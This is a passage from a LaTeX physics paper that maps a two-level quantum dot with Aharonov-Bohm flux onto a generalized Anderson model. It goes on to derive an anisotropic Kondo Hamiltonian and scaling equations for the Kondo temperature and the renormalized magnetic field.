shown schematically in Fig.~\ref{fig:models}b. Concomitantly,
the transformation generates a local Zeeman magnetic field. In
this way the original double-dot model system is transformed
into a generalized Anderson impurity model in the presence of a
(generally tilted) external magnetic field. This first stage is
detailed in Sec.~\ref{sec:ModelAnderson} and
Appendix~\ref{App:SVDdetails}.
We next analyze in Sec.~\ref{sec:LocalMoment} the low-energy
properties of our generalized Anderson model. We confine
ourselves to the local moment regime, in which there is a
single electron on the impurity. The fluctuations of the
pseudo-spin degree of freedom (which translate into charge
fluctuations between the two localized levels in the original
model) are determined by two competing effects: the polarizing
effect of the local magnetic field, and the Kondo screening by
the itinerant electrons. In order to quantitatively analyze
this competition, we derive an effective low-energy Kondo
Hamiltonian, using Haldane's scaling
procedure,~\cite{HaldanePRL78} together with the
Schrieffer-Wolff~\cite{Wolff66} transformation and Anderson's
poor man's scaling~\cite{Anderson70}. This portion of the
derivation resembles recent studies of the Kondo effect in the
presence of ferromagnetic leads,~\cite{Martinek03PRL} although
the physical context and implications are quite different.
As is mentioned above, the tunnelling between the impurity and
the continuum in the generalized Anderson model is (pseudo)
spin dependent. This asymmetry results in two important
effects:
(a) different renormalizations of the two local levels,
which in turn generates an additional local magnetic
field~\cite{Martinek03PRL}. This field is not necessarily
aligned with the original Zeeman field that is present
in the generalized Anderson model.
(b) An anisotropy of the exchange coupling between the
conduction electrons and the local moment in the Kondo
Hamiltonian.
However, since the scaling equations for the anisotropic Kondo
model~\cite{Anderson70,AndersonYuvalHamann70} imply a flow
towards the \emph{isotropic} strong coupling fixed point, the
low-energy behavior of the generalized Anderson model can be
still described in terms of two competing energy scales, the
Kondo temperature, $T^{}_{K}$, and the renormalized magnetic
field, $h_{\text{tot}}$. Our two-stage mapping, double-dot
$\Rightarrow$ generalized Anderson model $\Rightarrow$
anisotropic Kondo model (see Fig.~\ref{fig:models}), allows us
to obtain analytic expressions for the original model
properties in terms of those of the Kondo model. We derive in
Sec.~\ref{sec:observables} the occupation numbers on the two
localized levels by employing the Bethe \emph{ansatz} solution
of the magnetization of a Kondo spin in a finite magnetic
field~\cite{AndreiRMP83,WiegmannA83}. This solution also
results in a highly accurate expression for the conductance
based upon the Friedel-Langreth sum rule~\cite{Langreth66}.
Perhaps most importantly, it provides a single coherent picture
for the host of phenomena to which our model has been applied.
Examples of explicit results stemming from our general analysis
are presented in Sec.~\ref{sec:results}. First, we consider the
case in which the tunnelling is isotropic, being the same for
spin-up and spin-down electrons. Then the model is exactly
solvable by direct application of the Bethe \emph{ansatz} to
the Anderson Hamiltonian~\cite{WiegmannC83,WiegmannA83}. We
solve the resulting equations~\cite{Okiji82,WiegmannC83}
numerically and obtain the occupation numbers for arbitrary
parameter values of the model, and in particular, for arbitrary
values of the local Zeeman field. By comparing with the
occupation numbers obtained in Sec.~\ref{sec:observables} from
the Kondo version of the model, we are able to test the
accuracy of the Schrieffer-Wolff mapping onto the Kondo
Hamiltonian. We find that this mapping yields extremely precise
results over the entire local-moment regime. This exactly
solvable example has another virtue. It clearly demonstrates
the competition between the Kondo screening of the local spin,
which is governed by $T_K$, and the polarizing effect of the
local field $h_{\text{tot}}$. This competition is reflected
in the charging process of the quantum dot described by the
original Hamiltonian. We next proceed to apply our general
method to the features for which the anisotropy in the
tunnelling is relevant, notably the transmission phase lapses
and the correlation-induced resonances~\cite{Meden06PRL}. In
particular, we derive analytical expressions for the occupation
numbers and the conductance employing the mapping onto the
Kondo Hamiltonian. These analytical expressions give results
which are in a very good agreement with the data presented by
Meden and Marquardt,~\cite{Meden06PRL} which was obtained by
the functional and numerical renormalization-group methods
applied to the original model.
As our treatment makes extensive usage of the exact Bethe
\emph{ansatz} solutions for the impurity magnetization in the
isotropic Kondo and Anderson models with a finite magnetic
field, all relevant details of the solutions are concisely
gathered for convenience in Appendix~\ref{app:Bethe}.
\section{The double-dot system as a generalized Anderson model}
\label{sec:secII}
\subsection{The model\label{sec:Model}}
We consider spinless electrons in a system of two distinct
energy levels (a `quantum dot'), labelled $i = 1, 2$, which are
connected by tunnelling to two leads, labelled $\alpha = L, R$.
This quantum dot is penetrated by a (constant) magnetic flux.
The total Hamiltonian of the system reads
\begin{eqnarray}
\mathcal{H} = \mathcal{H}_l + \mathcal{H}_d + \mathcal{H}_{ld} \, ,
\label{IHAM}
\end{eqnarray}
in which $\mathcal{H}_{l}$ is the Hamiltonian of the leads,
$\mathcal{H}_{d}$ is the Hamiltonian of the isolated dot, and
$\mathcal{H}_{ld}$ describes the coupling between the dot and
the leads. The system is portrayed schematically in
Fig.~\ref{fig:models}a.
Each of the leads is modelled by a continuum of noninteracting
energy levels lying within a band of width $2D$, with a
constant density of states $\rho$~\cite{Comm-on-equal-rho}. The
corresponding Hamiltonian is given by
\begin{eqnarray}
\mathcal{H}_l = \sum_{ k\alpha} \varepsilon^{}_{k}
c_{k\alpha}^{\dagger} c^{}_{k\alpha} \, ,
\end{eqnarray}
where $c^{\dagger}_{ k\alpha}$ ($c^{}_{ k\alpha}$) creates
(annihilates) an electron of wave vector $k$ on lead $\alpha$.
The two leads are connected to two external reservoirs, held at
the same temperature $T$ and having different chemical
potentials, $\mu_L$ and $\mu_R$, respectively. We take the
limit $\mu_L \!\! \to \!\! \mu_R = 0$ in considering
equilibrium properties and the linear conductance.
The isolated dot is described by the Hamiltonian
\begin{equation}
\mathcal{H}_d = \left [
\begin{array}{cc}
d^{\dagger}_{1} & d^{\dagger}_{2}
\end{array}
\right ] \cdot \hat{\mathcal{E}}_d \cdot
\left [
\begin{array}{c}
d_{1} \\ d_{2}
\end{array}
\right ] + U \, n_{1} n_{2} \, ,
\label{HDOT}
\end{equation}
where
\begin{eqnarray}
\hat{\mathcal{E}}_{d} = \frac{1}{2}
\left [
\begin{array}{cc}
2 \, \epsilon_0 + \Delta &
b \, e^{i(\varphi_{L}-\varphi_{R})/2} \\
b \, e^{-i(\varphi_{L}-\varphi_{R})/2} &
2 \, \epsilon_0 -\Delta
\end{array}
\right ] \, .
\label{HPS}
\end{eqnarray}
Here, $d^{\dagger}_{i}$ ($d^{}_{i}$) creates (annihilates) an
electron on the $i$th level, $n_i \equiv d^{\dagger}_i d^{}_i$
are the occupation-number operators (representing the local
charge), $U>0$ denotes the Coulomb repulsion between electrons
that occupy the two levels, $\epsilon_{0} \pm \Delta /2$ are
the (single-particle) energies on the levels, and $b/2$ is the
amplitude for tunnelling between them. The phases $\varphi_{L}$
and $\varphi_{R}$, respectively, represent the Aharonov-Bohm
fluxes (measured in units of the flux quantum $2 \pi \hbar c/e$)
in the left and in the right hopping loops, such that the total
flux in the two loops is $\varphi \equiv \varphi_{L} +
\varphi_{R}$ [see Fig.~\ref{fig:models}a].
Gauge invariance grants us the freedom to distribute the
Aharonov-Bohm phases among the inter-dot coupling $b$ and the
couplings between the dot levels and the leads. With the
convention of Eq.~(\ref{HPS}), the coupling between the quantum
dot and the leads is described by the Hamiltonian
\begin{eqnarray}
\mathcal{H}_{ld} = \sum_{k}
\left [
\begin{array}{cc}
c^{\dagger}_{kL} & c^{\dagger}_{kR}
\end{array}
\right ] \cdot \hat{A} \cdot
\left [
\begin{array}{c}
d_1 \\ d_2
\end{array}
\right ] + \text{H.c.} \, ,
\end{eqnarray}
where
\begin{eqnarray}
\hat{A} =
\left [
\begin{array}{cc}
a_{L1}e^{i\varphi /2} & a_{L2}\\
a_{R1} & a_{R2}e^{i\varphi /2}
\end{array}
\right ]\, , \quad
\varphi = \varphi_{L} + \varphi_{R} \, .
\label{AA}
\end{eqnarray}
Here the real (possibly negative) coefficients $a_{\alpha i}$
are the tunnelling amplitudes for transferring an electron from
the level $i$ to lead $\alpha$. Note that the Hamiltonian
depends solely on the total Aharonov-Bohm flux $\varphi$ when
the interdot coupling $b$ vanishes. Also, the tunnelling matrix
$\hat{A}$ is assumed to be independent of the wave vector $k$.
This assumption considerably simplifies the analysis while
keeping the main physical picture intact.
\subsection{Mapping onto a generalized Anderson model}
\label{sec:ModelAnderson}
The analysis of the model defined in Sec.~\ref{sec:Model}
employs an {\it exact} mapping of the Hamiltonian of
Eq.~(\ref{IHAM}) onto a generalized Anderson Hamiltonian, which
pertains to a single-level quantum dot, coupled to a
spin-degenerate band of conduction electrons. We show in
Appendix~\ref{App:SVDdetails} that the model depicted in
Fig.~\ref{fig:models}a is fully described by the Hamiltonian
\begin{widetext}
\begin{equation}
\mathcal{H} = \sum_{k, \sigma}
\varepsilon_k \, c_{k\sigma}^{\dagger} c^{}_{k\sigma}
+ \sum_{\sigma}
\Bigl (
\epsilon_0 - \sigma \frac{h}{2} \cos \theta
\Bigr )
n_{\sigma}
- \bigl ( d_{\uparrow}^{\dagger} d^{}_{\downarrow} +
d_{\downarrow}^{\dagger} d^{}_{\uparrow} \bigr ) \,
\frac{h}{2} \, \sin \theta
+ U n_{\uparrow} n_{\downarrow}
+ \sum_{k, \sigma} V^{}_{\sigma}
\Bigl (
c_{k\sigma}^{\dagger} d^{}_{\sigma} + \text{H.c.}
\Bigr ) \, ,
\label{eq:Hand}
\end{equation}
\end{widetext}
schematically sketched Fig.~\ref{fig:models}b, which
generalizes the original Anderson model~\cite{Anderson61} in
two aspects. Firstly, it allows for spin-dependent coupling
between the dot and the conduction band. A similar variant of
the Anderson model has recently attracted much theoretical and
experimental attention in connection with the Kondo effect for
ferromagnetic
leads~\cite{Martinek03PRL,MartinekNRGferro,Pasupathy04,MartinekPRB05,
Comment-on-FM}. Secondly, it allows for a Zeeman field whose
direction is inclined with respect to the ``anisotropy'' axis
$z$. For spin-independent tunnelling, one can easily realign
the field along the $z$ axis by a simple rotation of the
different operators about the $y$ axis. This is no longer the
case once $V_{\uparrow} \neq V_{\downarrow}$, which precludes the
use of some of the exact results available for the Anderson
model. As we show below, the main effect of spin-dependent
tunnelling is to modify the effective field seen by electrons
on the dot, by renormalizing its $z$-component.
The derivation of Eq.~(\ref{eq:Hand}) is accomplished by a
transformation known as the singular-value
decomposition,~\cite{Golub96} which allows one to express the
tunnelling matrix $\hat{A}$ in the form
\begin{equation}
\hat{A} = R_l^{\dagger} \cdot
\left [
\begin{array}{cc}
V_{\uparrow} & 0 \\
0 & V_{\downarrow}
\end{array}
\right ] \cdot R^{}_d \, .
\end{equation}
Here $R_{l}$ and $R_{d}$ are unitary 2$\times$2 matrices, which
are used to independently rotate the lead and the dot operators
according to
\begin{eqnarray}
\left [
\begin{array}{c}
d_{\uparrow} \\ d_{\downarrow}
\end{array}
\right ] \equiv R_{d} \cdot
\left [
\begin{array}{c}
d_{1} \\ d_{2}
\end{array}
\right ]\, , \quad
\left [
\begin{array}{c}
c_{k\uparrow} \\ c_{k\downarrow}
\end{array}
\right ] \equiv R_{l} \cdot
\left [
\begin{array}{c}
c_{kL} \\ c_{kR}
\end{array}
\right ]\, .
\label{eq:SVDdef}
\end{eqnarray}
To make contact with the conventional Anderson impurity model,
we have labelled the linear combinations of the original
operators [defined through Eqs.~(\ref{eq:SVDdef})] by the
``spin'' index $\sigma = \uparrow$ ($+1$) and $\sigma =
\downarrow$ ($-1$).
The transformation (\ref{eq:SVDdef}) generalizes the one in
which the \emph{same} rotation $R$ is applied to both the dot
and the lead operators. It is needed in the present, more
general, case since the matrix $\hat{A}$ generically lacks an
orthogonal basis of eigenvectors. The matrices $R_d$ and $R_l$
can always be chosen uniquely (up to a common overall phase)
such that~\cite{Comment-on-uniqueness} (a) the tunnelling
between the dot and the continuum is
diagonal in the spin basis (so that the tunnelling
conserves the spin);
(b) the amplitudes $V_{\uparrow} \ge V_{\downarrow} \ge 0$
are real; and
(c) the part of the Hamiltonian of Eq.~(\ref{eq:Hand})
pertaining to the dot has only real matrix elements
with $h \sin \theta \geq 0$.
The explicit expressions for the rotation matrices $R_d$
and $R_l$ as well as for the model parameters appearing
in Eq.~(\ref{eq:Hand}) in terms of those of the original
Hamiltonian are given in Appendix~\ref{App:SVDdetails}.
It should be emphasized that partial transformations involving
only one rotation matrix, either $R_d$ or $R_l$, have
previously been applied in this context (see, e.g.,
Refs.~~\onlinecite{Boese01} and~~\onlinecite{Glazman01}).
However, excluding special limits, both $R_d$ and $R_l$ are
required to expose the formal connection to the Anderson model.
A first step in this direction was recently taken by Golosov
and Gefen~\cite{Golosov06}, yet only on a restricted
manifold for the tunnelling amplitudes $a_{\alpha i}$. In the
following section we discuss in detail the low-energy physics
of the Hamiltonian of Eq.~(\ref{eq:Hand}), focusing on the
local-moment regime. Explicit results for the conductance and
the occupations of the levels are then presented in
Secs.~\ref{sec:observables} and \ref{sec:results}.
\section{The local-moment regime\label{sec:LocalMoment}}
There are two limits where the model of Eq.~(\ref{IHAM}) has an
exact solution:~\cite{Boese01} (i) when the spin-down state is
decoupled in Eq.~(\ref{eq:Hand}), i.e., when $V_{\downarrow} =
h\sin \theta = 0$; (ii) when the coupling is isotropic, i.e.,
$V_{\uparrow} = V_{\downarrow}$. In the former case,
$n_{\downarrow}$ is conserved. The Hilbert space separates then
into two disconnected sectors with $n_{\downarrow} = 0$ and
$n_{\downarrow} = 1$. Within each sector, the Hamiltonian can be
diagonalized independently as a single-particle problem. In the
latter case, one can always align the magnetic field $h$ along
the $z$ axis by a simple rotation of the different operators
about the $y$ axis. The model of Eq.~(\ref{eq:Hand}) reduces
then to a conventional Anderson model in a magnetic field, for
which an exact Bethe {\em ansatz} solution is
available~\cite{WiegmannA83}. (This special case will be
analyzed in great detail in Sec.~\ref{sec:ResultsIsotropic}.)
In terms of the model parameters appearing in the original
Hamiltonian, the condition $V_{\downarrow} = 0$ corresponds to
\begin{equation}
|a_{L1} a_{R2}| = |a_{R1} a_{L2}|, \ \ \text{and}
\ \ \varphi = \beta \!\!\!\! \mod 2\pi ,
\label{exact-a}
\end{equation}
whereas $V_{\uparrow} = V_{\downarrow} = V$ corresponds to
\begin{equation}
|a_{L1}| = |a_{R2}| , \
|a_{L2}| = |a_{R1}| , \
\text{and} \
\varphi = (\pi + \beta) \!\!\!\! \mod 2\pi \, .
\label{exact-b}
\end{equation}
Here
\begin{equation}
\beta = \left \{
\begin{array}{cc}
0 & \text{if} \ \ a_{L1} a_{L2} a_{R1} a_{R2} > 0 \\ \\
\pi & {\rm if}\ \ a_{L1} a_{L2} a_{R1} a_{R2} < 0
\end{array}
\right .
\end{equation}
records the combined signs of the four coefficients
$a_{\alpha i}$~\cite{Comment-on-phi}.
Excluding the two cases mentioned above, no exact solutions to
the Hamiltonian of Eq.~(\ref{IHAM}) are known. Nevertheless,
we shall argue below that the model displays generic low-energy
physics in the ``local-moment'' regime, corresponding to the
Kondo effect in a finite magnetic field. To this end we focus
hereafter on $\Gamma_{\uparrow}, \Gamma_{\downarrow}, h \ll
-\epsilon_0, U + \epsilon_0$, and derive an effective
low-energy Hamiltonian for general couplings. Here
$\Gamma_{\sigma} = \pi \rho V_{\sigma}^2$ is half the
tunnelling rate between the spin state $\sigma$ and the leads.
\subsection{Effective low-energy Hamiltonian}
As is mentioned above, when $V_{\uparrow} = V_{\downarrow}$ one
is left with a conventional Kondo effect in the presence of a
finite magnetic field. Asymmetry in the couplings,
$V_{\uparrow} \neq V_{\downarrow}$, changes this situation in
three aspects. Firstly, the effective magnetic field seen by
electrons on the dot is modified, acquiring a renormalized
$z$-component. Secondly, the elimination of the charge
fluctuations by means of a Schrieffer-Wolff
transformation,~\cite{Wolff66} results in an anisotropic
spin-exchange interaction. Thirdly, a new interaction term is
produced, coupling the spin and the charge. Similar aspects
have been previously discussed in the context of the Kondo
effect in the presence of ferromagnetic
leads,~\cite{Martinek03PRL} where the source of the asymmetry
is the inequivalent density of states for conduction electrons
with opposite spin~\cite{Comment-on-FM}. Below we elaborate on
the emergence of these features in the present case.
Before turning to a detailed derivation of the effective
low-energy Hamiltonian, we briefly comment on the physical
origin of the modified magnetic field. As is well known, the
coupling to the continuum renormalizes the bare energy levels
of the dot. For $\Gamma_{\uparrow}, \Gamma_{\downarrow}, h \ll
-\epsilon_0, U + \epsilon_0$, these renormalizations can be
accurately estimated using second-order perturbation theory in
$V_{\sigma}$. For $V_{\uparrow} \neq V_{\downarrow}$, each of
the bare levels $\epsilon_{\sigma} = \epsilon_0 - \frac{1}{2}
\sigma h \cos \theta$ is shifted by a different amount, which
acts in effect as an excess magnetic field. Explicitly, for $T
= 0$ and $D \gg |\epsilon_0|, U$ one
obtains~\cite{Martinek03PRL,Silvestrov00}
\begin{equation}
\Delta h_z =
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}{\pi}
\ln \frac{\epsilon_0 + U}{|\epsilon_0|} \, .
\label{Delta-h_z}
\end{equation}
As $\epsilon_0$ is swept across $-U/2$, $\Delta h_z \propto
\Gamma_{\uparrow} - \Gamma_{\downarrow}$ changes sign. Had
$|\Gamma_{\uparrow} - \Gamma_{\downarrow}|$ exceeded $h$ this
would have dictated a sign-reversal of the $z$-component of the
combined field as $\epsilon_0$ is tuned across the
Coulomb-blockade valley. As originally noted by Silvestrov and
Imry,~\cite{Silvestrov00} this simple but insightful
observation underlies the population inversion discussed in
Refs.~\onlinecite{Gefen04,Sindel05}
and~\onlinecite{Silvestrov00} for a singly occupied dot. We
shall return to this important point in greater detail later
on.
A systematic derivation of the effective low-energy Hamiltonian
for $\Gamma_{\uparrow}, \Gamma_{\downarrow}, h \ll -\epsilon_0, U
+ \epsilon_0$ involves the combination of Anderson's poor-man's
scaling~\cite{Anderson70} and the Schrieffer-Wolff
transformation~\cite{Wolff66}. For $|\epsilon_0| \sim U +
\epsilon_0$, the elimination of high-energy excitations
proceeds in three steps. First Haldane's perturbative scaling
approach~\cite{HaldanePRL78} is applied to progressively reduce
the bandwidth from its bare value $D$ down to $D_{\rm SW} \sim
|\epsilon_0| \sim U + \epsilon_0$. Next a Schrieffer-Wolff
transformation is carried out to eliminate charge fluctuations
on the dot. At the conclusion of this second step one is left
with a generalized Kondo Hamiltonian [Eq.~(\ref{H-Kondo})
below], featuring an anisotropic spin-exchange interaction and
an additional interaction term that couples spin and charge.
The Kondo Hamiltonian also includes a finite magnetic field
whose direction is inclined with respect to the anisotropy axis
$z$. In the third and final stage, the Kondo Hamiltonian is
treated using Anderson's poor-man's scaling~\cite{Anderson70}
to expose its low-energy physics.
The above procedure is further complicated in the case where
$|\epsilon_0|$ and $U + \epsilon_0$ are well separated in
energy. This situation requires two distinct Schrieffer-Wolff
transformations: one at $D_{\rm SW}^{\rm up} \sim \max \{
|\epsilon_0|, U + \epsilon_0\}$ and the other at $D_{\rm
SW}^{\rm down} \sim \min \{ |\epsilon_0|, U + \epsilon_0\}$.
Reduction of the bandwidth from $D_{\rm SW}^{\rm up}$ to
$D_{\rm SW}^{\rm down}$ is accomplished using yet another
(third) segment of the perturbative scaling. It turns out that
all possible orderings of $|\epsilon_0|$ and $U + \epsilon_0$
produce the same Kondo Hamiltonian, provided that
$\Gamma_{\uparrow}$, $\Gamma_{\downarrow}$ and $h$ are
sufficiently small. To keep the discussion as concise as
possible, we therefore restrict the presentation to the case
$|\epsilon_0| \sim U + \epsilon_0$.
Consider first the energy window between $D$ and $D_{\rm SW}$,
which is treated using Haldane's perturbative
scaling~\cite{HaldanePRL78}. Suppose that the bandwidth has
already been lowered from its initial value $D$ to some value
$D' = D e^{-l}$ with $0 < l < \ln (D/D_{SW})$. Further reducing
the bandwidth to $D'(1 - \delta l)$ produces a renormalization
of each of the energies $\epsilon_{\uparrow}$,
$\epsilon_{\downarrow}$, and $U$. Specifically, the
$z$-component of the magnetic field, $h_z \equiv
\epsilon_{\downarrow} - \epsilon_{\uparrow}$, is found to obey
the scaling equation
\begin{equation}
\frac{d h_z}{d l} =
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}{\pi}
\left [
\frac{1}{1 - e^{l} \epsilon_0/D} -
\frac{1}{1 + e^{l} (U + \epsilon_0)/D}
\right ] .
\label{dh_z-dl}
\end{equation}
Here we have retained $\epsilon_0$ and $U + \epsilon_0$ in the
denominators, omitting corrections which are higher-order in
$\Gamma_{\uparrow}$, $\Gamma_{\downarrow}$, and $h$ (these
include also the small renormalizations of $\epsilon_{\sigma}$
and $U$ that are accumulated in the course of the scaling). The
$x$-component of the field, $h_x = h \sin \theta$, remains
unchanged throughout the procedure. Upon reaching $D' = D_{\rm
SW}$, the renormalized field $h_z$ becomes
\begin{equation}
h_z^{\ast} = h \cos \theta +
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}{\pi}
\ln \frac{D_{\rm SW} + U + \epsilon_0}
{D_{\rm SW} - \epsilon_0} \, ,
\end{equation}
where we have assumed $D \gg |\epsilon_0|, U$.
Once the scale $D_{\rm SW}$ is reached, charge fluctuations on
the dot are eliminated via a Schrieffer-Wolff
transformation,~\cite{Wolff66} which generates among other
terms also further renormalizations of $\epsilon_{\sigma}$.
Neglecting $h$ in the course of the transformation, one arrives
at the following Kondo-type Hamiltonian,
\begin{eqnarray}
\mathcal{H}_K &=& \sum_{k, \sigma}
\varepsilon^{}_k c_{k\sigma}^{\dagger} c^{}_{k\sigma}
+ J_{\perp} \left ( S_x s_x + S_y s_y \right )
+ J_z S_z s_z
\nonumber\\
&+& v_{\rm sc} S^z \sum_{k, k', \sigma}\!\!
:\! c^{\dagger}_{k \sigma} c^{}_{k' \sigma}\!:
+ \sum_{k, k', \sigma}\! (v_+ + \sigma v_-)\!
:\! c^{\dagger}_{k \sigma} c^{}_{k' \sigma}\!:
\nonumber\\
&-& \tilde{h}_z S_z - \tilde{h}_x S_x .
\label{H-Kondo}
\end{eqnarray}
Here we have represented the local moment on the dot by
the spin-$\frac{1}{2}$ operator
\begin{equation}
\vec{S} = \frac{1}{2} \sum_{\sigma, \sigma'}
\vec{\tau}^{}_{\sigma \sigma'}
d^{\dagger}_{\sigma} d^{}_{\sigma'}
\end{equation}
($\vec{\tau}$ being the Pauli matrices), while
\begin{equation}
\vec{s} = \frac{1}{2} \sum_{k, k'} \sum_{\sigma, \sigma'}
\vec{\tau}^{}_{\sigma \sigma'}
c^{\dagger}_{k \sigma} c^{}_{k' \sigma'}
\end{equation}
are the local conduction-electron spin densities. The symbol
$:\!c^{\dagger}_{k \sigma} c^{}_{k' \sigma}\!\!:\ = c^{\dagger}_{k
\sigma} c^{}_{k' \sigma} - \delta_{k, k'} \theta(-\epsilon_k)$
stands for normal ordering with respect to the filled Fermi sea.
The various couplings that appear in Eq.~(\ref{H-Kondo}) are given
by the explicit expressions
\begin{equation}
\rho J_{\perp} =
\frac{2 \sqrt{\Gamma_{\uparrow} \Gamma_{\downarrow}}}
{\pi}
\left (
\frac{1}{|\epsilon_0|}
+ \frac{1}{U + \epsilon_0}
\right ) ,
\label{J-perp}
\end{equation}
\begin{equation}
\rho J_{z} =
\frac{\Gamma_{\uparrow} + \Gamma_{\downarrow}}
{\pi}
\left (
\frac{1}{|\epsilon_0|}
+ \frac{1}{U + \epsilon_0}
\right ) ,
\label{J-z}
\end{equation}
\begin{equation}
\rho v_{\rm sc} =
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}
{4 \pi}
\left (
\frac{1}{|\epsilon_0|}
+ \frac{1}{U + \epsilon_0}
\right ) ,
\end{equation}
\begin{equation}
\rho v_{\pm} =
\frac{\Gamma_{\uparrow} \pm \Gamma_{\downarrow}}
{4 \pi}
\left (
\frac{1}{|\epsilon_0|}
- \frac{1}{U + \epsilon_0}
\right ) ,
\label{v-pm}
\end{equation}
\begin{equation}
\tilde{h}_z = h \cos \theta +
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}
{\pi}
\ln \frac{U + \epsilon_0}{|\epsilon_0|} \, ,
\label{h_z-tilde}
\end{equation}
and
\begin{equation}
\tilde{h}_x = h \sin \theta .
\label{h_x-tilde}
\end{equation}
Equations~(\ref{J-perp})--(\ref{h_x-tilde}) are correct to
leading order in $\Gamma_{\uparrow}$, $\Gamma_{\downarrow}$,
and $h$, in accordance with the inequality $\Gamma_{\uparrow},
\Gamma_{\downarrow}, h \ll |\epsilon_0|, U + \epsilon_0$. In
fact, additional terms are generated in Eq.~(\ref{H-Kondo})
when $h$ is kept in the course of the Schrieffer-Wolff
transformation. However, the neglected terms are smaller than
the ones retained by a factor of $h/\min \{|\epsilon_0|, U +
\epsilon_0 \} \ll 1$, and are not expected to alter the
low-energy physics in any significant way. We also note that
$\tilde{h}_z$ accurately reproduces the second-order correction
to $h_z$ detailed in Eq.~(\ref{Delta-h_z}). As emphasized
above, the same effective Hamiltonian is obtained when
$|\epsilon_0|$ and $U + \epsilon_0$ are well separated in
energy, although the derivation is notably more cumbersome. In
unifying the different possible orderings of $|\epsilon_0|$ and
$U + \epsilon_0$, the effective bandwidth in
Eq.~(\ref{H-Kondo}) must be taken to be $D_0 \sim \min
\{|\epsilon_0|, U + \epsilon_0\}$.
\subsection{Reduction to the Kondo effect in a finite
magnetic field}
In addition to spin-exchange anisotropy and a tilted magnetic
field, the Hamiltonian of Eq.~(\ref{H-Kondo}) contains a new
interaction term, $v_{\rm sc}$, which couples spin and charge.
It also includes spin-dependent potential scattering,
represented by the term $v_{-}$ above. As is well known,
spin-exchange anisotropy is irrelevant for the conventional
spin-$\frac{1}{2}$ single-channel Kondo problem. As long as one
lies within the confines of the antiferromagnetic domain, the
system flows to the same strong-coupling fixed point no matter
how large the exchange anisotropy is. SU(2) spin symmetry is
thus restored at low energies. A finite magnetic field $h$ cuts
off the flow to isotropic couplings, as does the temperature
$T$. However, the residual anisotropy is negligibly small if
$h$, $T$ and the bare couplings are small. That is,
low-temperature thermodynamic and dynamic quantities follow a
single generic dependence on $T/T_K$ and $h/T_k$, where $T_K$
is the Kondo temperature. All relevant information on the bare
spin-exchange anisotropy is contained for weak couplings in the
microscopic form of $T_K$.
The above picture is insensitive to the presence of weak
potential scattering, which only slightly modifies the
conduction-electron phase shift at the Fermi energy. As we show
below, neither is it sensitive to the presence of the weak
couplings $v_{\rm sc}$ and $v_{-}$ in Eq.~(\ref{H-Kondo}). This
observation is central to our discussion, as it enables a very
accurate and complete description of the low-energy physics of
$\mathcal{H}_K$ in terms of the conventional Kondo model in a
finite magnetic field. Given the Kondo temperature $T_K$ and
the direction and magnitude of the renormalized field
pertaining to Eq.~(\ref{H-Kondo}), physical observables can be
extracted from the exact Bethe {\em ansatz} solution of the
conventional Kondo model. In this manner, one can accurately
compute the conductance and the occupation of the levels, as
demonstrated in Secs.~\ref{sec:observables} and
\ref{sec:results}.
To establish this important point, we apply poor-man's
scaling~\cite{Anderson70} to the Hamiltonian of
Eq.~(\ref{H-Kondo}). Of the different couplings that appear in
$\mathcal{H}_K$, only $J_z$, $J_{\perp}$, and $\tilde{h}_z$ are
renormalized at second order. Converting to the dimensionless
exchange couplings $\tilde{J}_z = \rho J_z$ and
$\tilde{J}_{\perp} = \rho J_{\perp}$, these are found to obey
the standard scaling
equations~\cite{AndersonYuvalHamann70,Anderson70}
\begin{eqnarray}
\frac{ d\tilde{J}_z }{dl} &=& \tilde{J}_{\perp}^2 \, ,
\label{scaling-J_z} \\
\frac{ d\tilde{J}_{\perp} }{dl} &=&
\tilde{J}_z \tilde{J}_{\perp} \, ,
\label{scaling-J_perp}
\end{eqnarray}
independent of $v_{\rm sc}$ and $v_{\pm}$. Indeed, the
couplings $v_{\rm sc}$ and $v_{\pm}$ do not affect the scaling
trajectories in any way, other than through a small
renormalization to $\tilde{h}_z$:
\begin{equation}
\frac{d \tilde{h}_z}{d l} =
D_0 \, e^{-l}
\left (
\tilde{J}_z \tilde{v}_{-} +
2 \tilde{v}_{\rm sc} \tilde{v}_{+}
\right ) 8 \ln 2 .
\label{scaling-h_z}
\end{equation}
Here $\tilde{v}_{\mu}$ are the dimensionless couplings $\rho
v_{\mu}$ ($\mu = {\rm sc}, \pm$), and $l$ equals $\ln (D_0
/D')$ with $D'$ the running bandwidth.
As stated above, the scaling equations
(\ref{scaling-J_z})--(\ref{scaling-J_perp}) are identical to
those obtained for the conventional anisotropic Kondo model.
Hence, the Kondo couplings flow toward strong coupling along
the same scaling trajectories and with the same Kondo
temperature as in the absence of $v_{\rm sc}$ and $v_{\pm}$.
Straightforward integration of
Eqs.~(\ref{scaling-J_z})--(\ref{scaling-J_perp}) yields
\begin{equation}
T_K = D_0 \exp
\left (
-\frac{1}{\rho \, \xi} \tanh^{-1}\!
\frac{\xi}{J_{z}}
\right )
\label{scaling-T_K-1}
\end{equation}
with $\xi = \sqrt{J_z^2 - J_{\perp}^2}$. Here we have exploited
the hierarchy $J_z \geq J_{\perp} > 0$ in deriving
Eq.~(\ref{scaling-T_K-1}). In terms of the original model
parameters appearing in Eq.~(\ref{eq:Hand}),
Eq.~(\ref{scaling-T_K-1}) takes the form
\begin{equation}
T_K = D_0 \exp
\left [
\frac{\pi \epsilon_0 (U + \epsilon_0)}
{2U(\Gamma_{\uparrow}-\Gamma_{\downarrow})}
\ln\!
\frac{\Gamma_{\uparrow}}{\Gamma_{\downarrow}}
\right ] \, .
\label{scaling-T_K-2}
\end{equation}
Equation~(\ref{scaling-T_K-2}) was obtained within second-order
scaling, which is known to overestimate the pre-exponential
factor that enters $T_K$. We shall not seek an improved
expression for $T_K$ encompassing all parameter regimes of
Eq.~(\ref{eq:Hand}). More accurate expressions will be given
for the particular cases of interest, see
Sec.~\ref{sec:results} below. Much of our discussion will not
depend, though, on the precise form of $T_K$. We shall only
assume it to be sufficiently small such that the renormalized
exchange couplings can be regarded isotropic starting at
energies well above $T_K$.
The other competing scale which enters the low-energy physics
is the fully renormalized magnetic field: $\vec{h}_{\text{tot}}
= h^x_{\text{tot}}\, \hat{x} + h^z_{\text{tot}}\, \hat{z}$.
While the transverse field $h^x_{\text{tot}}$ remains given by
$h \sin \theta$, the longitudinal field $h^z_{\text{tot}}$ is
obtained by integration of Eq.~(\ref{scaling-h_z}), subject to
